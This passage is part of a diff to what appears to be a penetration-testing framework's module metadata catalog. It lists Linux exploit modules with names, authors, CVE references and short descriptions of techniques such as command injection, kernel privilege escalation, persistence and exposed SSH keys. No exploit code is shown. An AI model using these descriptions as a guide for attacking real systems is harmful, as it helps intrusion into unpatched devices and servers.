Exec Remote Code Injection", "full_name": "exploit/linux/http/trendmicro_sps_exec", "rank": 600, - "disclosure_date": "2016-08-08 00:00:00 -0500", + "disclosure_date": "2016-08-08", "type": "exploit", "author": [ "Quentin Kaiser " ], "description": "This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.\n Please note: authentication is required to exploit this vulnerability.", "references": [ - "CVE-ID-CVE-2016-6267" + "CVE-2016-6267" ], "is_server": false, "is_client": false, @@ -34010,7 +31931,7 @@ "name": "TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection", "full_name": "exploit/linux/http/trueonline_billion_5200w_rce", "rank": 600, - "disclosure_date": "2016-12-26 00:00:00 -0600", + "disclosure_date": "2016-12-26", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -34038,7 +31959,7 @@ "name": "TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection", "full_name": "exploit/linux/http/trueonline_p660hn_v1_rce", "rank": 600, - "disclosure_date": "2016-12-26 00:00:00 -0600", + "disclosure_date": "2016-12-26", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -34066,7 +31987,7 @@ "name": "TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection", "full_name": "exploit/linux/http/trueonline_p660hn_v2_rce", "rank": 600, - "disclosure_date": "2016-12-26 00:00:00 -0600", + "disclosure_date": "2016-12-26", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -34094,7 +32015,7 @@ "name": "Unitrends UEB 9 http api/storage remote root", "full_name": "exploit/linux/http/ueb9_api_storage", "rank": 600, - "disclosure_date": "2017-08-08 00:00:00 -0500", + "disclosure_date": "2017-08-08", "type": "exploit", "author": [ "Cale Smith", @@ -34124,7 +32045,7 @@ "name": "Arris VAP2500 tools_command.php Command Execution", "full_name": "exploit/linux/http/vap2500_tools_command_exec", "rank": 300, - "disclosure_date": "2014-11-25 00:00:00 -0600", + "disclosure_date": "2014-11-25", "type": "exploit", "author": [ "HeadlessZeke" @@ -34156,7 +32077,7 @@ "name": "V-CMS PHP File Upload and Execute", "full_name": "exploit/linux/http/vcms_upload", "rank": 600, - "disclosure_date": "2011-11-27 00:00:00 -0600", + "disclosure_date": "2011-11-27", "type": "exploit", "author": [ "AutoSec Tools", @@ -34187,7 +32108,7 @@ "name": "WAN Emulator v2.3 Command Execution", "full_name": "exploit/linux/http/wanem_exec", "rank": 600, - "disclosure_date": "2012-08-12 00:00:00 -0500", + "disclosure_date": "2012-08-12", "type": "exploit", "author": [ "Brendan Coles " @@ -34214,7 +32135,7 @@ "name": "Western Digital MyCloud multi_uploadify File Upload Vulnerability", "full_name": "exploit/linux/http/wd_mycloud_multiupload_upload", "rank": 600, - "disclosure_date": "2017-07-29 00:00:00 -0500", + "disclosure_date": "2017-07-29", "type": "exploit", "author": [ "Zenofex " @@ -34243,7 +32164,7 @@ "name": "WebCalendar 1.2.4 Pre-Auth Remote Code Injection", "full_name": "exploit/linux/http/webcalendar_settings_exec", "rank": 600, - "disclosure_date": "2012-04-23 00:00:00 -0500", + "disclosure_date": "2012-04-23", "type": "exploit", "author": [ "EgiX", @@ -34272,7 +32193,7 @@ "name": "WeBid converter.php Remote PHP Code Injection", "full_name": "exploit/linux/http/webid_converter", "rank": 600, - "disclosure_date": "2011-07-05 00:00:00 -0500", + "disclosure_date": "2011-07-05", "type": "exploit", "author": [ "EgiX", @@ -34301,7 +32222,7 @@ "name": "WePresent WiPG-1000 Command Injection", "full_name": "exploit/linux/http/wipg1000_cmd_injection", "rank": 600, - "disclosure_date": "2017-04-20 00:00:00 -0500", + "disclosure_date": "2017-04-20", "type": "exploit", "author": [ "Matthias Brun" @@ -34327,7 +32248,7 @@ "name": "Xplico Remote Code Execution", "full_name": "exploit/linux/http/xplico_exec", "rank": 600, - "disclosure_date": "2017-10-29 00:00:00 -0500", + "disclosure_date": "2017-10-29", "type": "exploit", "author": [ "Mehmet Ince " @@ -34355,7 +32276,7 @@ "name": "Zabbix 2.0.8 SQL Injection and Remote Code Execution", "full_name": "exploit/linux/http/zabbix_sqli", "rank": 600, - "disclosure_date": "2013-09-23 00:00:00 -0500", + "disclosure_date": "2013-09-23", "type": "exploit", "author": [ "Lincoln ", @@ -34383,7 +32304,7 @@ "name": "ZEN Load Balancer Filelog Command Execution", "full_name": "exploit/linux/http/zen_load_balancer_exec", "rank": 600, - "disclosure_date": "2012-09-14 00:00:00 -0500", + "disclosure_date": "2012-09-14", "type": "exploit", "author": [ "Brendan Coles " @@ -34410,7 +32331,7 @@ "name": "Zenoss 3 showDaemonXMLConfig Command Execution", "full_name": "exploit/linux/http/zenoss_showdaemonxmlconfig_exec", "rank": 400, - "disclosure_date": "2012-07-30 00:00:00 -0500", + "disclosure_date": "2012-07-30", "type": "exploit", "author": [ "Brendan Coles " @@ -34437,7 +32358,7 @@ "name": "AlienVault OSSIM av-centerd Command Injection", "full_name": "exploit/linux/ids/alienvault_centerd_soap_exec", "rank": 600, - "disclosure_date": "2014-05-05 00:00:00 -0500", + "disclosure_date": "2014-05-05", "type": "exploit", "author": [ "Unknown", @@ -34467,7 +32388,7 @@ "name": "Snort Back Orifice Pre-Preprocessor Buffer Overflow", "full_name": "exploit/linux/ids/snortbopre", "rank": 400, - "disclosure_date": "2005-10-18 00:00:00 -0500", + "disclosure_date": "2005-10-18", "type": "exploit", "author": [ "KaiJern Lau " @@ -34495,7 +32416,7 @@ "name": "UoW IMAP Server LSUB Buffer Overflow", "full_name": "exploit/linux/imap/imap_uw_lsub", "rank": 400, - "disclosure_date": "2000-04-16 00:00:00 -0500", + "disclosure_date": "2000-04-16", "type": "exploit", "author": [ "aushack ", @@ -34525,7 +32446,7 @@ "name": "ABRT raceabrt Privilege Escalation", "full_name": "exploit/linux/local/abrt_raceabrt_priv_esc", "rank": 600, - "disclosure_date": "2015-04-14 00:00:00 -0500", + "disclosure_date": "2015-04-14", "type": "exploit", "author": [ "Tavis Ormandy", @@ -34564,7 +32485,7 @@ "name": "AF_PACKET chocobo_root Privilege Escalation", "full_name": "exploit/linux/local/af_packet_chocobo_root_priv_esc", "rank": 400, - "disclosure_date": "2016-08-12 00:00:00 -0500", + "disclosure_date": "2016-08-12", "type": "exploit", "author": [ "rebel", @@ -34601,7 +32522,7 @@ "name": "AF_PACKET packet_set_ring Privilege Escalation", "full_name": "exploit/linux/local/af_packet_packet_set_ring_priv_esc", "rank": 400, - "disclosure_date": "2017-03-29 00:00:00 -0500", + "disclosure_date": "2017-03-29", "type": "exploit", "author": [ "Andrey Konovalov", @@ -34635,7 +32556,7 @@ "name": "Apport / ABRT chroot Privilege Escalation", "full_name": "exploit/linux/local/apport_abrt_chroot_priv_esc", "rank": 600, - "disclosure_date": "2015-03-31 00:00:00 -0500", + "disclosure_date": "2015-03-31", "type": "exploit", "author": [ "Stéphane Graber", @@ -34674,7 +32595,7 @@ "name": "Linux BPF Local Privilege Escalation", "full_name": "exploit/linux/local/bpf_priv_esc", "rank": 400, - "disclosure_date": "2016-05-04 00:00:00 -0500", + "disclosure_date": "2016-05-04", "type": "exploit", "author": [ "jannh ", @@ -34705,7 +32626,7 @@ "name": "Cron Persistence", "full_name": "exploit/linux/local/cron_persistence", "rank": 600, - "disclosure_date": "1979-07-01 00:00:00 -0500", + "disclosure_date": "1979-07-01", "type": "exploit", "author": [ "h00die " @@ -34733,7 +32654,7 @@ "name": "Desktop Linux Password Stealer and Privilege Escalation", "full_name": "exploit/linux/local/desktop_privilege_escalation", "rank": 600, - "disclosure_date": "2014-08-07 00:00:00 -0500", + "disclosure_date": "2014-08-07", "type": "exploit", "author": [ "Jakob Lell" @@ -34760,7 +32681,7 @@ "name": "Docker Daemon Privilege Escalation", "full_name": "exploit/linux/local/docker_daemon_privilege_escalation", "rank": 600, - "disclosure_date": "2016-06-28 00:00:00 -0500", + "disclosure_date": "2016-06-28", "type": "exploit", "author": [ "forzoni" @@ -34786,7 +32707,7 @@ "name": "glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation", "full_name": "exploit/linux/local/glibc_ld_audit_dso_load_priv_esc", "rank": 600, - "disclosure_date": "2010-10-18 00:00:00 -0500", + "disclosure_date": "2010-10-18", "type": "exploit", "author": [ "Tavis Ormandy", @@ -34831,7 +32752,7 @@ "name": "glibc '$ORIGIN' Expansion Privilege Escalation", "full_name": "exploit/linux/local/glibc_origin_expansion_priv_esc", "rank": 600, - "disclosure_date": "2010-10-18 00:00:00 -0500", + "disclosure_date": "2010-10-18", "type": "exploit", "author": [ "Tavis Ormandy", @@ -34866,7 +32787,7 @@ "name": "glibc 'realpath()' Privilege Escalation", "full_name": "exploit/linux/local/glibc_realpath_priv_esc", "rank": 300, - "disclosure_date": "2018-01-16 00:00:00 +0000", + "disclosure_date": "2018-01-16", "type": "exploit", "author": [ "halfdog", @@ -34902,7 +32823,7 @@ "name": "HP System Management Homepage Local Privilege Escalation", "full_name": "exploit/linux/local/hp_smhstart", "rank": 300, - "disclosure_date": "2013-03-30 00:00:00 -0500", + "disclosure_date": "2013-03-30", "type": "exploit", "author": [ "agix" @@ -34929,7 +32850,7 @@ "name": "Juju-run Agent Privilege Escalation", "full_name": "exploit/linux/local/juju_run_agent_priv_esc", "rank": 600, - "disclosure_date": "2017-04-13 00:00:00 -0500", + "disclosure_date": "2017-04-13", "type": "exploit", "author": [ "Ryan Beisner", @@ -34959,7 +32880,7 @@ "name": "Kloxo Local Privilege Escalation", "full_name": "exploit/linux/local/kloxo_lxsuexec", "rank": 600, - "disclosure_date": "2012-09-18 00:00:00 -0500", + "disclosure_date": "2012-09-18", "type": "exploit", "author": [ "HTP", @@ -34988,7 +32909,7 @@ "name": "lastore-daemon D-Bus Privilege Escalation", "full_name": "exploit/linux/local/lastore_daemon_dbus_priv_esc", "rank": 600, - "disclosure_date": "2016-02-02 00:00:00 -0600", + "disclosure_date": "2016-02-02", "type": "exploit", "author": [ "King's Way", @@ -35016,7 +32937,7 @@ "name": "Libuser roothelper Privilege Escalation", "full_name": "exploit/linux/local/libuser_roothelper_priv_esc", "rank": 500, - "disclosure_date": "2015-07-24 00:00:00 -0500", + "disclosure_date": "2015-07-24", "type": "exploit", "author": [ "Qualys", @@ -35050,7 +32971,7 @@ "name": "Linux Kernel 4.6.3 Netfilter Privilege Escalation", "full_name": "exploit/linux/local/netfilter_priv_esc_ipv4", "rank": 400, - "disclosure_date": "2016-06-03 00:00:00 -0500", + "disclosure_date": "2016-06-03", "type": "exploit", "author": [ "h00die ", @@ -35079,7 +33000,7 @@ "name": "Debian/Ubuntu ntfs-3g Local Privilege Escalation", "full_name": "exploit/linux/local/ntfs3g_priv_esc", "rank": 400, - "disclosure_date": "2017-01-05 00:00:00 -0600", + "disclosure_date": "2017-01-05", "type": "exploit", "author": [ "jannh ", @@ -35109,7 +33030,7 @@ "name": "Overlayfs Privilege Escalation", "full_name": "exploit/linux/local/overlayfs_priv_esc", "rank": 400, - "disclosure_date": "2015-06-16 00:00:00 -0500", + "disclosure_date": "2015-06-16", "type": "exploit", "author": [ "h00die ", @@ -35140,7 +33061,7 @@ "name": "Linux PolicyKit Race Condition Privilege Escalation", "full_name": "exploit/linux/local/pkexec", "rank": 500, - "disclosure_date": "2011-04-01 00:00:00 -0500", + "disclosure_date": "2011-04-01", "type": "exploit", "author": [ "xi4oyu", @@ -35170,7 +33091,7 @@ "name": "Reliable Datagram Sockets (RDS) Privilege Escalation", "full_name": "exploit/linux/local/rds_priv_esc", "rank": 500, - "disclosure_date": "2010-10-20 00:00:00 -0500", + "disclosure_date": "2010-10-20", "type": "exploit", "author": [ "Dan Rosenberg", @@ -35202,20 +33123,21 @@ "ref_name": "linux/local/rds_priv_esc" }, "exploit_linux/local/recvmmsg_priv_esc": { - "name": "Linux Kernel 3.13.1 Recvmmsg Privilege Escalation", + "name": "Linux Kernel recvmmsg Privilege Escalation", "full_name": "exploit/linux/local/recvmmsg_priv_esc", "rank": 400, - "disclosure_date": "2014-02-02 00:00:00 -0600", + "disclosure_date": "2014-02-02", "type": "exploit", "author": [ "h00die ", "rebel" ], - "description": "This module attempts to exploit CVE-2014-0038, by sending a recvmmsg\n system call with a crafted timeout pointer parameter to gain root.\n This exploit has offsets for 3 Ubuntu 13 kernels built in:\n 3.8.0-19-generic (13.04 default)\n 3.11.0-12-generic (13.10 default)\n 3.11.0-15-generic (13.10)\n This exploit may take up to 13 minutes to run due to a decrementing (1/sec)\n pointer which starts at 0xff*3 (765 seconds)", + "description": "This module attempts to exploit CVE-2014-0038, by sending a recvmmsg\n system call with a crafted timeout pointer parameter to gain root.\n\n This exploit has offsets for 3 Ubuntu 13 kernels:\n 3.8.0-19-generic (13.04 default);\n 3.11.0-12-generic (13.10 default);\n 3.11.0-15-generic (13.10).\n\n This exploit may take up to 13 minutes to run due to a decrementing\n (1/sec) pointer which starts at 0xff*3 (765 seconds)", "references": [ + "BID-65255", + "CVE-2014-0038", "EDB-31347", "EDB-31346", - "CVE-2014-0038", "URL-https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900" ], "is_server": true, @@ -35235,7 +33157,7 @@ "name": "Service Persistence", "full_name": "exploit/linux/local/service_persistence", "rank": 600, - "disclosure_date": "1983-01-01 00:00:00 -0600", + "disclosure_date": "1983-01-01", "type": "exploit", "author": [ "h00die " @@ -35264,7 +33186,7 @@ "name": "Linux Kernel Sendpage Local Privilege Escalation", "full_name": "exploit/linux/local/sock_sendpage", "rank": 500, - "disclosure_date": "2009-08-13 00:00:00 -0500", + "disclosure_date": "2009-08-13", "type": "exploit", "author": [ "Tavis Ormandy", @@ -35299,7 +33221,7 @@ "name": "Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation", "full_name": "exploit/linux/local/sophos_wpa_clear_keys", "rank": 600, - "disclosure_date": "2013-09-06 00:00:00 -0500", + "disclosure_date": "2013-09-06", "type": "exploit", "author": [ "Francisco Falcon", @@ -35329,7 +33251,7 @@ "name": "Linux udev Netlink Local Privilege Escalation", "full_name": "exploit/linux/local/udev_netlink", "rank": 500, - "disclosure_date": "2009-04-16 00:00:00 -0500", + "disclosure_date": "2009-04-16", "type": "exploit", "author": [ "kcope", @@ -35360,7 +33282,7 @@ "name": "VMware Workstation ALSA Config File Local Privilege Escalation", "full_name": "exploit/linux/local/vmware_alsa_config", "rank": 600, - "disclosure_date": "2017-05-22 00:00:00 -0500", + "disclosure_date": "2017-05-22", "type": "exploit", "author": [ "Jann Horn", @@ -35393,7 +33315,7 @@ "name": "VMWare Setuid vmware-mount Unsafe popen(3)", "full_name": "exploit/linux/local/vmware_mount", "rank": 600, - "disclosure_date": "2013-08-22 00:00:00 -0500", + "disclosure_date": "2013-08-22", "type": "exploit", "author": [ "Tavis Ormandy", @@ -35425,7 +33347,7 @@ "name": "ZPanel zsudo Local Privilege Escalation Exploit", "full_name": "exploit/linux/local/zpanel_zsudo", "rank": 600, - "disclosure_date": "2013-06-07 00:00:00 -0500", + "disclosure_date": "2013-06-07", "type": "exploit", "author": [ "sinn3r ", @@ -35453,7 +33375,7 @@ "name": "Accellion FTA MPIPE2 Command Execution", "full_name": "exploit/linux/misc/accellion_fta_mpipe2", "rank": 600, - "disclosure_date": "2011-02-07 00:00:00 -0600", + "disclosure_date": "2011-02-07", "type": "exploit", "author": [ "hdm " @@ -35481,7 +33403,7 @@ "name": "ASUS infosvr Auth Bypass Command Execution", "full_name": "exploit/linux/misc/asus_infosvr_auth_bypass_exec", "rank": 600, - "disclosure_date": "2015-01-04 00:00:00 -0600", + "disclosure_date": "2015-01-04", "type": "exploit", "author": [ "Friedrich Postelstorfer", @@ -35511,7 +33433,7 @@ "name": "Distributed Ruby Remote Code Execution", "full_name": "exploit/linux/misc/drb_remote_codeexec", "rank": 600, - "disclosure_date": "2011-03-23 00:00:00 -0500", + "disclosure_date": "2011-03-23", "type": "exploit", "author": [ "joernchen " @@ -35542,7 +33464,7 @@ "name": "GLD (Greylisting Daemon) Postfix Buffer Overflow", "full_name": "exploit/linux/misc/gld_postfix", "rank": 400, - "disclosure_date": "2005-04-12 00:00:00 -0500", + "disclosure_date": "2005-04-12", "type": "exploit", "author": [ "aushack " @@ -35571,7 +33493,7 @@ "name": "HID discoveryd command_blink_on Unauthenticated RCE", "full_name": "exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce", "rank": 600, - "disclosure_date": "2016-03-28 00:00:00 +0000", + "disclosure_date": "2016-03-28", "type": "exploit", "author": [ "Ricky \"HeadlessZeke\" Lawshae", @@ -35604,7 +33526,7 @@ "name": "Hikvision DVR RTSP Request Remote Code Execution", "full_name": "exploit/linux/misc/hikvision_rtsp_bof", "rank": 300, - "disclosure_date": "2014-11-19 00:00:00 -0600", + "disclosure_date": "2014-11-19", "type": "exploit", "author": [ "Mark Schloesser " @@ -35632,7 +33554,7 @@ "name": "HP Data Protector 6 EXEC_CMD Remote Code Execution", "full_name": "exploit/linux/misc/hp_data_protector_cmd_exec", "rank": 600, - "disclosure_date": "2011-02-07 00:00:00 -0600", + "disclosure_date": "2011-02-07", "type": "exploit", "author": [ "ch0ks", @@ -35665,7 +33587,7 @@ "name": "HP Network Node Manager I PMD Buffer Overflow", "full_name": "exploit/linux/misc/hp_nnmi_pmd_bof", "rank": 300, - "disclosure_date": "2014-09-09 00:00:00 -0500", + "disclosure_date": "2014-09-09", "type": "exploit", "author": [ "d(-_-)b", @@ -35695,7 +33617,7 @@ "name": "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow", "full_name": "exploit/linux/misc/hp_vsa_login_bof", "rank": 300, - "disclosure_date": "2013-06-28 00:00:00 -0500", + "disclosure_date": "2013-06-28", "type": "exploit", "author": [ "e6af8de8b1d4b2b6d5ba2610cbf9cd38", @@ -35725,7 +33647,7 @@ "name": "HPLIP hpssd.py From Address Arbitrary Command Execution", "full_name": "exploit/linux/misc/hplip_hpssd_exec", "rank": 600, - "disclosure_date": "2007-10-04 00:00:00 -0500", + "disclosure_date": "2007-10-04", "type": "exploit", "author": [ "jduck " @@ -35755,7 +33677,7 @@ "name": "Borland InterBase INET_connect() Buffer Overflow", "full_name": "exploit/linux/misc/ib_inet_connect", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -35785,7 +33707,7 @@ "name": "Borland InterBase jrd8_create_database() Buffer Overflow", "full_name": "exploit/linux/misc/ib_jrd8_create_database", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -35815,7 +33737,7 @@ "name": "Borland InterBase open_marker_file() Buffer Overflow", "full_name": "exploit/linux/misc/ib_open_marker_file", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -35845,7 +33767,7 @@ "name": "Borland InterBase PWD_db_aliased() Buffer Overflow", "full_name": "exploit/linux/misc/ib_pwd_db_aliased", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -35875,7 +33797,7 @@ "name": "Jenkins CLI RMI Java Deserialization Vulnerability", "full_name": "exploit/linux/misc/jenkins_java_deserialize", "rank": 600, - "disclosure_date": "2015-11-18 00:00:00 -0600", + "disclosure_date": "2015-11-18", "type": "exploit", "author": [ "Christopher Frohoff", @@ -35911,7 +33833,7 @@ "name": "Jenkins CLI HTTP Java Deserialization Vulnerability", "full_name": "exploit/linux/misc/jenkins_ldap_deserialize", "rank": 600, - "disclosure_date": "2016-11-16 00:00:00 -0600", + "disclosure_date": "2016-11-16", "type": "exploit", "author": [ "Matthias Kaiser", @@ -35944,7 +33866,7 @@ "name": "LPRng use_syslog Remote Format String Vulnerability", "full_name": "exploit/linux/misc/lprng_format_string", "rank": 300, - "disclosure_date": "2000-09-25 00:00:00 -0500", + "disclosure_date": "2000-09-25", "type": "exploit", "author": [ "jduck " @@ -35980,7 +33902,7 @@ "name": "MongoDB nativeHelper.apply Remote Code Execution", "full_name": "exploit/linux/misc/mongod_native_helper", "rank": 300, - "disclosure_date": "2013-03-24 00:00:00 -0500", + "disclosure_date": "2013-03-24", "type": "exploit", "author": [ "agix" @@ -36009,7 +33931,7 @@ "name": "Nagios Remote Plugin Executor Arbitrary Command Execution", "full_name": "exploit/linux/misc/nagios_nrpe_arguments", "rank": 600, - "disclosure_date": "2013-02-21 00:00:00 -0600", + "disclosure_date": "2013-02-21", "type": "exploit", "author": [ "Rudolph Pereir", @@ -36039,7 +33961,7 @@ "name": "Netcore Router Udp 53413 Backdoor", "full_name": "exploit/linux/misc/netcore_udp_53413_backdoor", "rank": 300, - "disclosure_date": "2014-08-25 00:00:00 -0500", + "disclosure_date": "2014-08-25", "type": "exploit", "author": [ "Nixawk", @@ -36069,7 +33991,7 @@ "name": "NetSupport Manager Agent Remote Buffer Overflow", "full_name": "exploit/linux/misc/netsupport_manager_agent", "rank": 200, - "disclosure_date": "2011-01-08 00:00:00 -0600", + "disclosure_date": "2011-01-08", "type": "exploit", "author": [ "Luca Carettoni ( ", @@ -36101,7 +34023,7 @@ "name": "Novell eDirectory 8 Buffer Overflow", "full_name": "exploit/linux/misc/novell_edirectory_ncp_bof", "rank": 300, - "disclosure_date": "2012-12-12 00:00:00 -0600", + "disclosure_date": "2012-12-12", "type": "exploit", "author": [ "David Klein", @@ -36134,13 +34056,14 @@ "name": "OpenNMS Java Object Unserialization Remote Code Execution", "full_name": "exploit/linux/misc/opennms_java_serialize", "rank": 300, - "disclosure_date": "2015-11-06 00:00:00 -0600", + "disclosure_date": "2015-11-06", "type": "exploit", "author": [ "Ben Turner " ], "description": "This module exploits a vulnerability in the OpenNMS Java object which allows\n an unauthenticated attacker to run arbitrary code against the system.", "references": [ + "CVE-2015-8103", "URL-http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/" ], "is_server": false, @@ -36161,7 +34084,7 @@ "name": "QNAP Transcode Server Command Execution", "full_name": "exploit/linux/misc/qnap_transcode_server", "rank": 600, - "disclosure_date": "2017-08-06 00:00:00 -0500", + "disclosure_date": "2017-08-06", "type": "exploit", "author": [ "Zenofex", @@ -36170,6 +34093,7 @@ ], "description": "This module exploits an unauthenticated remote command injection\n vulnerability in QNAP NAS devices. The transcoding server listens\n on port 9251 by default and is vulnerable to command injection\n using the 'rmfile' command.\n\n This module was tested successfully on a QNAP TS-431 with\n firmware version 4.3.3.0262 (20170727).", "references": [ + "CVE-2017-13067", "URL-https://www.exploitee.rs/index.php/QNAP_TS-131", "URL-http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm" ], @@ -36190,7 +34114,7 @@ "name": "Quest Privilege Manager pmmasterd Buffer Overflow", "full_name": "exploit/linux/misc/quest_pmmasterd_bof", "rank": 300, - "disclosure_date": "2017-04-09 00:00:00 -0500", + "disclosure_date": "2017-04-09", "type": "exploit", "author": [ "m0t" @@ -36218,7 +34142,7 @@ "name": "SerComm Device Remote Code Execution", "full_name": "exploit/linux/misc/sercomm_exec", "rank": 500, - "disclosure_date": "2013-12-31 00:00:00 -0600", + "disclosure_date": "2013-12-31", "type": "exploit", "author": [ "Eloi Vanderbeken ", @@ -36257,7 +34181,7 @@ "name": "Unitrends UEB bpserverd authentication bypass RCE", "full_name": "exploit/linux/misc/ueb9_bpserverd", "rank": 600, - "disclosure_date": "2017-08-08 00:00:00 -0500", + "disclosure_date": "2017-08-08", "type": "exploit", "author": [ "Jared Arave", @@ -36287,7 +34211,7 @@ "name": "Zabbix Server Arbitrary Command Execution", "full_name": "exploit/linux/misc/zabbix_server_exec", "rank": 600, - "disclosure_date": "2009-09-10 00:00:00 -0500", + "disclosure_date": "2009-09-10", "type": "exploit", "author": [ "Nicob ", @@ -36318,7 +34242,7 @@ "name": "MySQL yaSSL CertDecoder::GetName Buffer Overflow", "full_name": "exploit/linux/mysql/mysql_yassl_getname", "rank": 400, - "disclosure_date": "2010-01-25 00:00:00 -0600", + "disclosure_date": "2010-01-25", "type": "exploit", "author": [ "jduck " @@ -36350,7 +34274,7 @@ "name": "MySQL yaSSL SSL Hello Message Buffer Overflow", "full_name": "exploit/linux/mysql/mysql_yassl_hello", "rank": 400, - "disclosure_date": "2008-01-04 00:00:00 -0600", + "disclosure_date": "2008-01-04", "type": "exploit", "author": [ "MC " @@ -36378,7 +34302,7 @@ "name": "Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow", "full_name": "exploit/linux/pop3/cyrus_pop3d_popsubfolders", "rank": 300, - "disclosure_date": "2006-05-21 00:00:00 -0500", + "disclosure_date": "2006-05-21", "type": "exploit", "author": [ "bannedit ", @@ -36410,7 +34334,7 @@ "name": "PostgreSQL for Linux Payload Execution", "full_name": "exploit/linux/postgres/postgres_payload", "rank": 600, - "disclosure_date": "2007-06-05 00:00:00 -0500", + "disclosure_date": "2007-06-05", "type": "exploit", "author": [ "midnitesnake", @@ -36419,6 +34343,7 @@ ], "description": "On some default Linux installations of PostgreSQL, the\n postgres service account may write to the /tmp directory, and\n may source UDF Shared Libraries from there as well, allowing\n execution of arbitrary code.\n\n This module compiles a Linux shared object file, uploads it to\n the target host via the UPDATE pg_largeobject method of binary\n injection, and creates a UDF (user defined function) from that\n shared object. Because the payload is run as the shared object's\n constructor, it does not need to conform to specific Postgres\n API versions.", "references": [ + "CVE-2007-3280", "URL-http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt" ], "is_server": true, @@ -36439,7 +34364,7 @@ "name": "Poptop Negative Read Overflow", "full_name": "exploit/linux/pptp/poptop_negative_read", "rank": 500, - "disclosure_date": "2003-04-09 00:00:00 -0500", + "disclosure_date": "2003-04-09", "type": "exploit", "author": [ "spoonm " @@ -36468,7 +34393,7 @@ "name": "Squid NTLM Authenticate Overflow", "full_name": "exploit/linux/proxy/squid_ntlm_authenticate", "rank": 500, - "disclosure_date": "2004-06-08 00:00:00 -0500", + "disclosure_date": "2004-06-08", "type": "exploit", "author": [ "skape " @@ -36497,7 +34422,7 @@ "name": "Samba chain_reply Memory Corruption (Linux x86)", "full_name": "exploit/linux/samba/chain_reply", "rank": 400, - "disclosure_date": "2010-06-16 00:00:00 -0500", + "disclosure_date": "2010-06-16", "type": "exploit", "author": [ "Jun Mao", @@ -36527,7 +34452,7 @@ "name": "Samba is_known_pipename() Arbitrary Module Load", "full_name": "exploit/linux/samba/is_known_pipename", "rank": 600, - "disclosure_date": "2017-03-24 00:00:00 -0500", + "disclosure_date": "2017-03-24", "type": "exploit", "author": [ "steelo ", @@ -36571,7 +34496,7 @@ "name": "Samba lsa_io_trans_names Heap Overflow", "full_name": "exploit/linux/samba/lsa_transnames_heap", "rank": 400, - "disclosure_date": "2007-05-14 00:00:00 -0500", + "disclosure_date": "2007-05-14", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -36608,7 +34533,7 @@ "name": "Samba SetInformationPolicy AuditEventsInfo Heap Overflow", "full_name": "exploit/linux/samba/setinfopolicy_heap", "rank": 300, - "disclosure_date": "2012-04-10 00:00:00 -0500", + "disclosure_date": "2012-04-10", "type": "exploit", "author": [ "Unknown", @@ -36646,7 +34571,7 @@ "name": "Samba trans2open Overflow (Linux x86)", "full_name": "exploit/linux/samba/trans2open", "rank": 500, - "disclosure_date": "2003-04-07 00:00:00 -0500", + "disclosure_date": "2003-04-07", "type": "exploit", "author": [ "hdm ", @@ -36676,7 +34601,7 @@ "name": "Exim and Dovecot Insecure Configuration Command Injection", "full_name": "exploit/linux/smtp/exim4_dovecot_exec", "rank": 600, - "disclosure_date": "2013-05-03 00:00:00 -0500", + "disclosure_date": "2013-05-03", "type": "exploit", "author": [ "Unknown", @@ -36706,7 +34631,7 @@ "name": "Exim GHOST (glibc gethostbyname) Buffer Overflow", "full_name": "exploit/linux/smtp/exim_gethostbyname_bof", "rank": 500, - "disclosure_date": "2015-01-27 00:00:00 -0600", + "disclosure_date": "2015-01-27", "type": "exploit", "author": [ "Unknown" @@ -36738,7 +34663,7 @@ "name": "Haraka SMTP Command Injection", "full_name": "exploit/linux/smtp/haraka", "rank": 600, - "disclosure_date": "2017-01-26 00:00:00 -0600", + "disclosure_date": "2017-01-26", "type": "exploit", "author": [ "xychix ", @@ -36755,7 +34680,7 @@ "is_server": false, "is_client": false, "platform": "Linux", - "arch": "", + "arch": "x64, x86", "rport": "25", "targets": [ "linux x64", @@ -36770,7 +34695,7 @@ "name": "Ceragon FibeAir IP-10 SSH Private Key Exposure", "full_name": "exploit/linux/ssh/ceragon_fibeair_known_privkey", "rank": 600, - "disclosure_date": "2015-04-01 00:00:00 -0500", + "disclosure_date": "2015-04-01", "type": "exploit", "author": [ "hdm ", @@ -36798,7 +34723,7 @@ "name": "ExaGrid Known SSH Key and Default Password", "full_name": "exploit/linux/ssh/exagrid_known_privkey", "rank": 600, - "disclosure_date": "2016-04-07 00:00:00 -0500", + "disclosure_date": "2016-04-07", "type": "exploit", "author": [ "egypt " @@ -36826,7 +34751,7 @@ "name": "F5 BIG-IP SSH Private Key Exposure", "full_name": "exploit/linux/ssh/f5_bigip_known_privkey", "rank": 600, - "disclosure_date": "2012-06-11 00:00:00 -0500", + "disclosure_date": "2012-06-11", "type": "exploit", "author": [ "egypt " @@ -36855,7 +34780,7 @@ "name": "Loadbalancer.org Enterprise VA SSH Private Key Exposure", "full_name": "exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey", "rank": 600, - "disclosure_date": "2014-03-17 00:00:00 -0500", + "disclosure_date": "2014-03-17", "type": 